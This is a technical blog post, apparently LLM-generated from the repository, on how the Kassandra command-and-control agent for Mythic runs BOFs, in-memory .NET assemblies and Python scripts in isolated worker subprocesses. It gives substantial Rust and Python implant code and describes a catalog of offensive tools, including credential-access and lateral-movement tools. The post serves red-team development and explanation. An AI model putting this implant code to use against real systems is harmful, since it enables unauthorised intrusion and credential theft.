In-Memory Execution: BOF Loading, .NET Assemblies, and Python in a C2 Agent

This post covers how Kassandra executes three types of in-memory payloads: COFF Beacon Object Files (BOFs), .NET assemblies, and Python scripts. Each runs in an isolated subprocess spawned from the agent’s own binary, communicating through stdin/stdout JSON. The isolation pattern ensures that a crashing BOF or misbehaving .NET assembly does not kill the agent process. The post also covers the dynamic tool catalog that ships pre-built BOFs and .NET tools with the Mythic container.

Why Subprocess Isolation

A C2 agent that loads payloads into its own address space has a fundamental fragility problem. A single null pointer dereference in a BOF, an unhandled exception in a .NET assembly, or a sys.exit() call in a Python script will terminate the entire agent. On an engagement, losing an implant because a tool crashed is unacceptable.

Kassandra solves this by re-executing itself with a worker flag. The parent process spawns self --worker-bof, self --worker-dot, or self --worker-py, pipes the payload over stdin as JSON, and reads the result from stdout. If the child crashes, the parent collects the exit code and stderr, reports the failure to the Mythic server, and continues operating.

The agent process never loads untrusted code into its own address space. Every payload runs in a disposable subprocess.

Worker Mode Detection in main.rs

Worker mode is detected before any agent initialization. When the binary starts with a --worker-* argument, it runs the corresponding worker function and exits immediately, without initializing the network transport, cryptography, or task loop:

// From: kassandra/src/main.rs
fn main() {
    // Worker subprocess mode — run payload and exit without any agent init.
    let args: Vec<String> = std::env::args().collect();
    if args.len() >= 2 {
        match args[1].as_str() {
            "--worker-bof" => {
                worker::run_bof_worker();
                return;
            }
            "--worker-dot" => {
                worker::run_dot_worker();
                return;
            }
            "--worker-py" => {
                worker::run_py_worker();
                return;
            }
            _ => {}
        }
    }

    selfprotect::set_process_security_descriptor();
    // ... agent initialization, registration, task loop

This early-exit design means the worker subprocess is lightweight. It does not establish S3 connections, perform EKE, or enter the polling loop. It reads stdin, executes the payload, writes to stdout, and exits.

The Parent-Side Spawn Pattern

All three execution features (executeBOF, executeDOT, executePY) follow the same four-step pattern on the parent side:

  1. Download the payload from Mythic in chunks.
  2. Spawn self with the appropriate --worker-* flag.
  3. Pipe JSON containing base64-encoded file bytes and parameters over stdin.
  4. Collect stdout, stderr, and exit code; report the result.

The BOF handler in executeBOF.rs shows the pattern clearly:

// From: kassandra/src/features/executeBOF.rs
pub fn executeBOF(task: &Value) -> Result<(), Box<dyn std::error::Error>> {
    // 1. Extract fields
    let id = task.get("id").and_then(Value::as_str).ok_or("Missing `id`")?;
    let raw = task.get("parameters").and_then(Value::as_str).ok_or("Missing `parameters`")?;
    let params: UploadParams = serde_json::from_str(raw)?;
    let file_id = &params.file_id;

    // 2. Download chunks into buffer
    let mut file_bytes = Vec::new();
    let mut chunk_num = 1;
    let mut total_chunks = 1;

    while chunk_num <= total_chunks {
        let payload = json!({
            "action": "post_response",
            "responses": [{
                "upload": {
                    "chunk_size": CHUNK_SIZE,
                    "file_id": file_id,
                    "chunk_num": chunk_num,
                },
                "task_id": id,
                "completed": true
            }]
        })
        .to_string();
        let resp: Value = crate::transport::send_request_with_response(&payload)?;
        let entry = &resp["responses"][0];
        total_chunks = entry["total_chunks"].as_u64().ok_or("Bad `total_chunks`")? as usize;
        let chunk_data = entry["chunk_data"].as_str().ok_or("Missing `chunk_data`")?;
        let bytes = general_purpose::STANDARD.decode(chunk_data)?;
        file_bytes.extend_from_slice(&bytes);
        chunk_num += 1;
    }

    // ...

The chunked download protocol negotiates with the Mythic server using 4096-byte chunks (the CHUNK_SIZE constant). Each response includes total_chunks, so the loop knows when it has the complete file.

Spawning the Worker

After downloading, the parent spawns itself and writes the JSON payload to the child’s stdin:

// From: kassandra/src/features/executeBOF.rs
    // 3. Spawn self as isolated worker process so a crash/exit in the
    //    BOF doesn't take down the agent.
    let exe = std::env::current_exe()?;
    let worker_input = json!({
        "file_bytes": general_purpose::STANDARD.encode(&file_bytes),
        "parameters": params.parameters
    })
    .to_string();

    let mut child = std::process::Command::new(&exe)
        .arg("--worker-bof")
        .stdin(std::process::Stdio::piped())
        .stdout(std::process::Stdio::piped())
        .stderr(std::process::Stdio::piped())
        .spawn()?;

    if let Some(mut stdin) = child.stdin.take() {
        stdin.write_all(worker_input.as_bytes())?;
    }

    let child_output = child.wait_with_output()?;

All three stdio handles are piped. The stdin.take() pattern ensures the write end is closed after the JSON is sent, which signals EOF to the child’s read_to_string.

Crash-Safe Result Collection

The parent handles both success and failure gracefully. A crashing worker produces a non-zero exit code, and the parent captures whatever stdout and stderr were produced before the crash:

// From: kassandra/src/features/executeBOF.rs
    let (output, status) = if child_output.status.success() {
        (String::from_utf8_lossy(&child_output.stdout).to_string(), "success")
    } else {
        let stderr = String::from_utf8_lossy(&child_output.stderr);
        let stdout = String::from_utf8_lossy(&child_output.stdout);
        let msg = format!(
            "BOF worker exited with code {:?}{}{}",
            child_output.status.code(),
            if !stdout.is_empty() { format!("\nstdout: {}", stdout) } else { String::new() },
            if !stderr.is_empty() { format!("\nstderr: {}", stderr) } else { String::new() }
        );
        (msg, "error")
    };

    // 4. Send final response
    let done = json!({
        "action": "post_response",
        "responses": [{
            "task_id": id,
            "user_output": output,
            "agent_file_id": file_id,
            "status": status,
            "completed": true
        }]
    })
    .to_string();
    crate::transport::send_request(&done)?;
    Ok(())
}

The response is always sent, whether the worker succeeded or crashed. The operator sees either the tool output or the error message in Mythic’s task output.

BOF Loading via coffee-ldr

The BOF worker uses the coffee-ldr crate [1] to parse and execute COFF (Common Object File Format) object files. These are the same Beacon Object Files that Cobalt Strike popularized: small, position-independent C programs compiled to .o files that resolve Beacon API functions at runtime.

The worker reads the JSON from stdin, base64-decodes the file bytes, and hands them to Coffee::new:

// From: kassandra/src/worker.rs
pub fn run_bof_worker() {
    let mut input = String::new();
    std::io::stdin().read_to_string(&mut input).expect("worker: failed to read stdin");

    let data: Value = serde_json::from_str(&input).expect("worker: failed to parse input");
    let file_bytes = general_purpose::STANDARD
        .decode(data["file_bytes"].as_str().expect("worker: missing file_bytes"))
        .expect("worker: failed to decode file_bytes");
    let params_str = data["parameters"].as_str().unwrap_or("").trim().to_string();

    let mut output = String::new();

    match Coffee::new(file_bytes.as_slice()) {
        Ok(coffee) => {
            // ...

Coffee::new parses the COFF headers, resolves relocations, and prepares the code for execution. The COFF format contains sections (.text, .data, .rdata), a symbol table, and relocation entries that coffee-ldr processes to make the code runnable in the current process [2].

BeaconPack Argument Serialization

BOFs accept arguments through Cobalt Strike’s BeaconDataParse API, which expects a packed binary buffer. Kassandra uses the BeaconPack struct from coffee-ldr to serialize typed arguments:

// From: kassandra/src/worker.rs
            let mut pack = BeaconPack::new();

            for arg in params_str.split_whitespace() {
                let result = if let Some(val) = arg.strip_prefix("int:") {
                    val.parse::<i32>()
                        .map_err(|e| e.to_string().into())
                        .and_then(|v| pack.add_int(v))
                } else if let Some(val) = arg.strip_prefix("short:") {
                    val.parse::<i16>()
                        .map_err(|e| e.to_string().into())
                        .and_then(|v| pack.add_short(v))
                } else if let Some(val) = arg.strip_prefix("wstr:") {
                    pack.add_wstr(val)
                } else if let Some(val) = arg.strip_prefix("bin:") {
                    general_purpose::STANDARD.decode(val)
                        .map_err(|e| e.to_string().into())
                        .and_then(|v| pack.add_bin(&v))
                } else if let Some(val) = arg.strip_prefix("str:") {
                    pack.add_str(val)
                } else {
                    pack.add_str(arg)
                };
                if let Err(e) = result {
                    output.push_str(&format!("Arg error ({}): {}\n", arg, e));
                }
            }

The prefix-based type system supports five types: int: (32-bit integer), short: (16-bit integer), wstr: (wide string, UTF-16), bin: (base64-encoded binary blob), and str: (ANSI string). Arguments without a prefix default to str:. This maps directly to Cobalt Strike’s BeaconDataExtract, BeaconDataInt, and BeaconDataShort functions that BOFs use to unpack their arguments [2].

The go() Entrypoint

After packing arguments, the worker calls coffee.execute with the packed buffer and the entrypoint name "go":

// From: kassandra/src/worker.rs
                match pack.get_buffer() {
                    Ok(buf) => {
                        let ptr = buf.as_ptr();
                        let len = buf.len();

                        match coffee.execute(Some(ptr), Some(len), &Some("go".to_string())) {
                            Ok(res) => {
                                if !res.is_empty() {
                                    has_bof_output = true;
                                }
                                output.push_str(&res);
                            }
                            Err(e) => output.push_str(&format!("Run error: {:?}\n", e)),
                        }

                        std::mem::forget(buf);
                    }
                    // ...

The go function is the standard BOF entrypoint, equivalent to main in a regular C program [2]. coffee-ldr resolves this symbol in the COFF symbol table, allocates executable memory, applies relocations, and calls the function pointer with the packed argument buffer. The std::mem::forget(buf) call prevents Rust from dropping the buffer while the BOF might still be referencing it.

When no parameters are provided, the BOF is executed with no arguments:

// From: kassandra/src/worker.rs
            if params_str.is_empty() {
                match coffee.execute(None, None, &Some("go".to_string())) {
                    Ok(res) => {
                        if !res.is_empty() {
                            has_bof_output = true;
                        }
                        output.push_str(&res);
                    }
                    Err(e) => output.push_str(&format!("Run error: {:?}\n", e)),
                }
            }

.NET Assembly Loading via clroxide

The .NET worker uses clroxide [3] to host the Common Language Runtime (CLR) and execute .NET assemblies entirely in memory. The Clr::new call initializes the CLR, loads the assembly bytes, and clr.run() invokes the assembly’s entry point:

// From: kassandra/src/worker.rs
pub fn run_dot_worker() {
    let mut input = String::new();
    std::io::stdin().read_to_string(&mut input).expect("worker: failed to read stdin");

    let data: Value = serde_json::from_str(&input).expect("worker: failed to parse input");
    let file_bytes = general_purpose::STANDARD
        .decode(data["file_bytes"].as_str().expect("worker: missing file_bytes"))
        .expect("worker: failed to decode file_bytes");
    let params_str = data["parameters"].as_str().unwrap_or("");
    let args: Vec<String> = params_str.split_whitespace().map(|s| s.to_string()).collect();

    match Clr::new(file_bytes, args) {
        Ok(mut clr) => match clr.run() {
            Ok(output) => print!("{}", output),
            Err(e) => {
                eprint!("DOT execution error: {:?}", e);
                std::process::exit(1);
            }
        },
        Err(e) => {
            eprint!("DOT load error: {:?}", e);
            std::process::exit(1);
        }
    }
}

Under the hood, clroxide uses the ICLRMetaHost COM interfaces to start the appropriate .NET runtime version, creates an AppDomain, loads the assembly bytes via Assembly.Load(byte[]), and calls Invoke on the entry point [3] [4]. The assembly is never written to disk.

The worker’s error handling exits with a non-zero code on failure, which the parent detects via child_output.status.success(). Errors go to stderr; successful output goes to stdout. This clean separation lets the parent distinguish between tool output and error diagnostics.

Python Script Execution with Embedded Runtime Fallback

The Python worker is more complex because it must handle environments where Python is not installed. Kassandra supports three resolution strategies, tried in order:

// From: kassandra/src/worker.rs
fn resolve_python(work_dir: &Path, python_embed_bytes: Option<Vec<u8>>) -> Result<std::process::Command, String> {
    if has_python("python") {
        return Ok(std::process::Command::new("python"));
    }
    if has_python("python3") {
        return Ok(std::process::Command::new("python3"));
    }

    if let Some(bytes) = python_embed_bytes {
        if let Err(e) = extract_zip(&bytes, work_dir) {
            return Err(format!("PY extract error: {:?}", e));
        }
        let python_path = work_dir.join("python.exe");
        if !python_path.exists() {
            return Err("PY extract error: python.exe not found in embeddable zip".to_string());
        }
        return Ok(std::process::Command::new(python_path));
    }

    Err("PY error: python not found on PATH and no embeddable runtime provided".to_string())
}

First, it checks for python on PATH. Then python3. If neither exists and the operator has uploaded a Python embeddable zip (the lightweight Windows distribution that Microsoft provides [5]), the worker extracts it to a temporary directory and uses that interpreter.

The executePY handler on the parent side supports downloading both the script and the optional embeddable runtime:

// From: kassandra/src/features/executePY.rs
    let file_bytes = download_file_bytes(id, file_id)?;
    let python_embed_bytes = if let Some(embed_id) = &params.python_embed_id {
        if embed_id.is_empty() {
            None
        } else {
            Some(download_file_bytes(id, embed_id)?)
        }
    } else {
        None
    };

The worker writes the script to a temporary file, runs it with the resolved Python interpreter, and captures output:

// From: kassandra/src/worker.rs
    let script_path = work_dir.join("kassandra_exec.py");
    if let Err(e) = std::fs::write(&script_path, &file_bytes) {
        eprint!("PY write error: {:?}", e);
        std::process::exit(1);
    }

    let mut cmd = match resolve_python(&work_dir, python_embed_bytes) {
        Ok(c) => c,
        Err(e) => {
            eprint!("{}", e);
            std::process::exit(1);
        }
    };
    cmd.arg(&script_path);
    if !params_str.is_empty() {
        cmd.args(params_str.split_whitespace());
    }
    cmd.current_dir(&work_dir);

    match cmd.output() {
        Ok(res) => {
            output.push_str(&String::from_utf8_lossy(&res.stdout));
            if !res.status.success() {
                let stderr = String::from_utf8_lossy(&res.stderr);
                if !stderr.is_empty() {
                    output.push_str("\nstderr: ");
                    output.push_str(&stderr);
                }
                eprint!("{}", output);
                let code = res.status.code().unwrap_or(1);
                std::process::exit(code);
            }
            print!("{}", output);
        }
        // ...

Unlike BOFs and .NET assemblies, Python scripts do touch disk. The script is written to a temporary directory under the system temp path. This is a tradeoff: CPython cannot execute scripts from raw memory without significant embedding work. The temporary directory uses a millisecond timestamp for uniqueness (kassandra_py_<timestamp>).

The Dynamic Tool Catalog: Pre-Built BOFs and .NET Assemblies

Kassandra ships with a pre-built catalog of offensive tools compiled into the Mythic Docker container. The catalog is assembled by build_catalog.sh, which builds tools from three upstream collections:

  • TrustedSec CS-SA-BOF: Situational awareness BOFs (network enumeration, registry queries, service manipulation)
  • Outflank C2-Tool-Collection: BOFs and .NET tools (credential access, lateral movement, persistence)
  • Flangvik SharpCollection: Pre-compiled .NET offensive tools (SharpHound, Rubeus, Seatbelt, and others)

The build script compiles BOFs with make (MinGW cross-compilation), builds .NET projects with dotnet build, and copies pre-compiled SharpCollection binaries. Each tool gets a normalized name with a source prefix:

# From: build_catalog.sh
for o in /src/tsec/SA/*/*.x64.o; do
    [ -f "$o" ] || continue
    name=$(basename "$o" .x64.o)
    cp "$o" "$CATALOG/bof/tsec_$(sanitize "$name").x64.o"
done

A manifest.json file is generated at the end, cataloging every tool with its name, type (bof or dotnet), source collection, filename, and file size.

executeRemote: Catalog Lookup and Transparent Dispatch

The executeRemote command lets operators run any cataloged tool by name, without manually uploading files. The Mythic-side handler resolves the tool name against the manifest, uploads the file to Mythic’s file store, and rewrites the command to the appropriate execution handler:

# From: agent_functions/executeRemote.py
class ExecuteRemoteCommand(CommandBase):
    cmd = "executeRemote"
    description = (
        "Run a BOF or .NET assembly from Kassandra's built-in catalog "
        "(TrustedSec CS-SA-BOF, Outflank C2-Tool-Collection, SharpCollection). "
        "Tool file is auto-resolved and shipped to the agent — no upload needed."
    )
    # ...

    async def create_go_tasking(self, taskData):
        # ...
        tool_name = taskData.args.get_arg("tool_name")
        params    = taskData.args.get_arg("parameters") or ""

        manifest = _load_manifest()
        entry = next((m for m in manifest if m.get("name") == tool_name), None)
        if entry is None:
            raise Exception(f"executeRemote: '{tool_name}' not found in catalog manifest")

        if entry["type"] == "bof":
            file_path = CATALOG_ROOT / "bof" / entry["filename"]
            target_command = "executeBOF"
        elif entry["type"] == "dotnet":
            file_path = CATALOG_ROOT / "dotnet" / entry["filename"]
            target_command = "executeDOT"
        else:
            raise Exception(f"executeRemote: unknown tool type '{entry.get('type')}'")

        # ...
        file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage(
            TaskID=taskData.Task.ID,
            FileContents=file_path.read_bytes(),
            Filename=file_path.name,
            DeleteAfterFetch=False,
            IsDownloadFromAgent=False,
        ))
        # ...

        taskData.args.remove_arg("tool_name")
        taskData.args.add_arg("file_id", file_resp.AgentFileId)

        response.CommandName = target_command
        return response

The key detail is response.CommandName = target_command. This tells Mythic to deliver the task to the agent as an executeBOF or executeDOT command. The agent never sees executeRemote as a command. From the agent’s perspective, it receives a standard executeBOF or executeDOT task with a file_id. The catalog resolution happens entirely server-side.

The listRemote command provides operators with a filtered view of all available tools, grouped by source and type, without requiring any agent interaction:

# From: agent_functions/listRemote.py
class ListRemoteCommand(CommandBase):
    cmd = "listRemote"
    description = (
        "List tools available in Kassandra's built-in catalog (BOFs + .NET). "
        "Runs locally on the Mythic payload container; no agent round-trip."
    )

The Task Dispatch Table

On the agent side, tasking.rs routes incoming commands to the appropriate feature handler. The three execution commands sit alongside filesystem operations, process listing, pivot management, and other capabilities:

// From: kassandra/src/tasking.rs
pub fn handleTask(task: &serde_json::Value) -> Result<(), Box<dyn std::error::Error>> {
    let command = task.get("command").unwrap().as_str().unwrap();
    // ...
    let response_value = match command {
        // ...
        "executeBOF" => {
            executeBOF::executeBOF(task)?;
            return Ok(());
        }
        "executeDOT" => {
            executeDOT::executeDOT(task)?;
            return Ok(());
        }
        "executePY" => {
            executePY::executePY(task)?;
            return Ok(());
        }
        // ...
    };

Each handler owns its full lifecycle: downloading the payload, spawning the worker, collecting results, and reporting back. The task loop continues processing other tasks even if one execution fails.

Limitations

  • Python scripts touch disk. Unlike BOFs and .NET assemblies, Python scripts are written to a temporary file before execution. This creates a forensic artifact and may trigger file-based detections.
  • No output streaming. The parent waits for wait_with_output(), which blocks until the child process exits. Long-running tools produce no output until completion. For tools that run for minutes, the operator sees nothing in Mythic until the process finishes.
  • Single-threaded execution. Each execution command blocks the task handler. If a BOF takes 30 seconds, the agent cannot process other tasks during that time.
  • No BOF chaining. Each BOF execution spawns a new worker process. There is no mechanism to run multiple BOFs in sequence within a shared memory context, which means techniques like token theft followed by token use require separate executions.
  • Embeddable Python is Windows-only. The python.exe fallback path in resolve_python assumes a Windows target. On Linux targets without Python on PATH, the executePY command fails.

This post was generated by an LLM based on code from Kassandra. All code snippets are from the actual repository. Claims about Windows internals are sourced from Microsoft documentation.

References

[1] HakaiOffSec, “coffee-ldr: A COFF/BOF loader in Rust” - github.com/hakaioffsec/coffee

[2] TrustedSec, “Beacon Object Files: A Guide to BOF Development” - trustedsec.com

[3] yamakadi, “clroxide: A .NET CLR hosting library for Rust” - crates.io/crates/clroxide

[4] Microsoft, “ICLRMetaHost Interface” - learn.microsoft.com

[5] Microsoft, “Using Python on Windows: The embeddable package” - docs.python.org